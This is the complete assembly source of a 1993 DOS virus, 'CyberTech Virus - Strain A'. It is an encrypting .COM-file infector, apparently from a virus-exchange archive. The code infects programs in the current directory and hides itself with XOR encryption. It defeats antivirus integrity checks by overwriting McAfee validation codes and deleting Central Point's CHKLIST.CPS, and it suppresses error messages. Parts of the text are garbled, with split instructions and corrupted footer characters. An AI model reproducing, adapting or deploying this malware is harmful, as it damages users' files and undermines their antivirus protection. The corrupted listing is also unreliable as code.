2022-08-21 09:07:57 +00:00
;
; CyberTech Virus - Strain A John Tardy (C) 1993
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1993, the virus activates. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1994, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP , Offset MainVir + 3 ;
Push Ax ; Save possible error code
Lea Di , Crypt [ BP ] ; Decrypt the virus with a
Mov Si , Di ; very simple exclusive or
Mov Cx , CryptLen ; function.
Decrypt: Lodsb ;
Xor Al , 0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $ - MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax , Cs : OrgPrg [ BP ] ; Store begin of host at
Mov Bx , Cs : OrgPrg [ BP ] + 2 ; cs:100h (begin of com)
Mov Cs : Start + 100h , Ax ;
Mov Cs : Start [ 2 ] + 100h , Bx ;
Xor Ax , Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx , Ds :[ 4 * 24h ] ;
Mov Es , Ds :[ 4 * 24h ] + 4 ;
Mov Word Ptr Cs : OldInt24 [ Bp ], Bx ; And store it on a save place
Mov Word Ptr Cs : OldInt24 + 2 [ Bp ], Es ;
Lea Bx , NewInt24 [ Bp ] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds :[ 4 * 24h ], Bx ; protected and such things
Mov Word Ptr Ds :[ 4 * 24h ] + 2 , Es ;
Push Cs ;
Pop Ds ;
Mov Ah , 30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al , 3 ; interrupt use
Jae On2 ;
Jmp Ready ;
On2: Mov Ax , 3600h ; Check if enough disk space
Xor Dx , Dx ; is aveable for infecting
Int 21h ; (3 clusters should be
Cmp Bx , 3 ; enough i think)
Ja TestDate ;
Jmp Ready ;
TestDate: Mov Ah , 2ah ; Check if 1993 is past time
Int 21h ; already
Cmp Cx , 1994 ;
Jae Cl ean ; - 1993 or more
Jmp NoClean ; - Not 1993 or more
;
; Main Cleanup procedure
;
Clean: Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah , 9 ;
Lea Dx , Removed [ Bp ] ;
Int 21h ;
Mov Ah , 1ah ; Move DTA to a safe place
Mov Dx , 0fd00h ;
Int 21h ;
Mov Ax , Cs :[ 2ch ] ; Find the name of the
Mov Ds , Ax ; program that is now
Mov Si , 0 ; executed (me must search in
Mov Cx , 4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al , 1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di , 0fd80h ;
Mov Cx , 80h ;
Trans: Lodsb ;
Cmp Al , 0h ;
Jne Verder ;
Xor Ax , Ax ;
Verder: Stosb ;
Loop Trans ;
Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax , 4300h ; occured
Mov Dx , 0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax , 4301h ; Clear file attributes
Xor Cx , Cx ; (for read only etc.)
Int 21h ;
Mov Ax , 3d02h ; Open the file
Int 21h ;
Mov Bx , Ax ; Read file date/time stamp
Mov Ax , 5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah , 3eh ; Close file
Int 21h ;
Mov Dx , 0fd80h ; Create a new file with the
Xor Cx , Cx ; same name
Mov Ah , 3ch ;
Int 21h ;
Mov Bx , Ax ; store file handle in BX
Mov Ah , 40h ; write memory image of host
Mov Dx , 100h ; program to file (the original
Mov Cx , Bp ; file is now back again)
Sub Cx , 0fch ;
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax , 5701h ;
Int 21h ;
Mov Ah , 3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax , 4301h ;
Mov Dx , 0fd80h ;
Int 21h ;
Push Cs ; jump to ready routine
Pop Ds ; (shutdown of the virus)
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah , 1ah ; Store DTA at safe place
Mov Dx , 0fd00h ;
Int 21h ;
Mov Ah , 4eh ; FindFirsFile Function
Search: Lea Dx , FileSpec [ BP ] ; Search for filespec given
Xor Cx , Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax , 4300h ; Get file attributes and
Mov Dx , 0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax , 4301h ; clear file attributes
Xor Cx , Cx ;
Int 21h ;
Mov Ax , 3d02h ; open file with read/write
Int 21h ; access
Mov Bx , 5700h ; save file date/time stamp
Xchg Ax , Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah , 3fh ; read the first 4 bytes of
Lea Dx , OrgPrg [ BP ] ; the program onto OrgPrg
Mov Cx , 4 ;
Int 21h ;
Mov Ax , Cs :[ OrgPrg ][ BP ] ; Check if renamed exe-file
Cmp Ax , 'ZM' ;
Je ExeFile ;
Cmp Ax , 'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah , Cs :[ OrgPrg + 3 ][ BP ] ; Check if already infected
Cmp Ah , '*' ;
Jne Infect ;
ExeFile: Call Cl ose ; If one of the checks is yes,
Mov Ah , 4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx , Cx ; subroutine to jump to end
Xor Dx , Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax , 4202h ; jump to EOF
Call FS eek ;
Cmp Ax , 0 f900 ; Check if file too large
Jae ExeFile ; if yes, goto exefile
Cmp Ax , 10 ; Check if file too short
Jbe ExeFile ; if yes, goto exefile
Mov Cx , Dx ; calculate pointer to offset
Mov Dx , Ax ; EOF-52 (for McAfee validation
Sub Dx , 52 ; codes)
Mov Si , Cx ; move file pointer to the
Mov Di , Dx ; calculated address
Mov Ax , 4200h ;
Int 21h ;
Mov Ah , 3fh ; read the last 52 bytes
Mov Dx , 0fb00h ; of the file
Mov Cx , 52 ;
Int 21h ;
Cmp Ds : 0Fb00h , 0fdf0h ; check if protected with the
Jne Ch eck2 ; AG option
Cmp Ds : 0fb02h , 0aac5h ;
Jne Ch eck2 ;
Mov Ax , 4200h ; yes - let virus overwrite
Mov Cx , Si ; the code with itself, so
Mov Dx , Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds : 0Fb00h + 42 , 0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds : 0Fb02h + 42 , 0aac5h ;
Jne Eof ;
Mov Ax , 4200h ; yes - let virus overwrite
Mov Cx , Si ; the code with itself, so
Mov Dx , Di ; the file has no validation
Add Dx , 42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax , 4202h ; not AG or AV - jump to
Call Fs eek ; EOF
CalcVirus: Sub Ax , 3 ; calculate the jump for the
Mov Cs : CallPtr [ BP ] + 1 , Ax ; virus start
GetCrypt: Mov Ah , 2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl , 0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah , 9 ; If zero, display copyright
Lea Dx , Msg [ Bp ] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs : Decrypt + 2 [ BP ], Dl ; Store key into decryptor
Lea Si , MainVir [ BP ] ; Move changed decryptor to
Mov Di , 0fb00h ; a safe place in memory
Mov Cx , DecrLen ;
Rep Movsb ;
Lea Si , Crypt [ BP ] ; Encrypt the virus and merge
Mov Cx , CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al , Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah , 40h ; append virus at EOF or over
Lea Dx , 0fb00h ; the validation code of
Mov Cx , VirLen ; McAfee
Int 21h ;
Mov Ax , 4200h ; Jump to BOF
Call FS eek ;
Mov Ah , 40h ; Write Jump at BOF
Lea Dx , CallPtr [ BP ] ;
Mov Cx , 4 ;
Int 21h ;
Call Cl ose ; Jump to Close routine
Ready: Mov Ah , 1ah ; Restore DTA to normal
Mov Dx , 80h ; offset
Int 21h ;
Mov Ax , Cs : OldInt24 [ Bp ] ; remove critical error
Mov Dx , Cs : OldInt24 + 2 [ Bp ] ; handler and store the
Xor Bx , Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds :[ 4 * 24h ], Dx ;
Mov Ds :[ 4 * 24h ] + 2 , Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx , 100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax , 5701h ;
Int 21h ;
Mov Ah , 3eh ; close file
Int 21h ;
Mov Ax , 4301h ; restore file attributes
Pop Cx ;
Mov Dx , 0fd1eh ;
Int 21h ;
Mov Ah , 41h ; delete CHKLIST.CPS (the
Lea Dx , CpsName [ BP ] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1994
;
Removed Db 13 , 10 , 'The previous year you have been infected by a virus'
Db 13 , 10 , 'without knowing or removing it. To be gentle to you'
Db 13 , 10 , 'I decided to remove myself from your system. McAfee'
Db 13 , 10 , 'could scan Strain A, but after switching 2 instructions'
Db 13 , 10 , 'it is hidden again. I suggest McAfee isn' 't the best'
Db 13 , 10 , 'scanner. I' 'm deeply disappointed!'
Db 13 , 10 , 10 , 'May I say goodbye to you for now....' , 13 , 10
;
; Message when encryption byte = 0 or when we are living in 1994
;
Msg Db 13 , 10 , 'CyberTech Virus - Strain A-2'
Db 13 , 10 , '(C) 1993 John Tardy of Trident'
Db 13 , 10 , '$'
;
; New critical error handler
;
NewInt24: Mov Al , 3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps' , 0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h , 0 , 0 ; jump to place at BOF
FileSpec Db '*.COM' , 0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $ - Crypt ; encrypted part length
VirLen Equ $ - MainVir ; total virus length
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
